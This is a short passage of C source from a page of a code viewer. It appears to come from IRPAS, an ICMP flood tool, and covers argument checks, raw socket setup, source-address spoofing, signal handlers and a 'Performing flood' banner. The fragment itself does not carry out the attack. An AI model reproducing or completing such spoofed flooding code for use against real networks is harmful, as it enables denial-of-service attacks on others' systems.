br> default: usage(argv[0]); } } if (!cfg.device) usage(argv[0]); /* * TODO: add output on what we are about to do */ srand((unsigned int)time(NULL)); /* set up ICMP sender socket (IP) */ if ((icmpsfd=init_socket_IP4(cfg.device,0))<0) return (-1); /* if spoofing is enabled, copy it */ if (!cfg.spoof_src) { memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN); } /* signal handling */ signal(SIGTERM,&signaler); signal(SIGABRT,&signaler); signal(SIGINT,&signaler); /* my shit */ printf(BANNER); printf("\tIRPAS build %s\n",BUILD); printf("Performing flood ...\n"); <页码:[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 第9页、共10页 |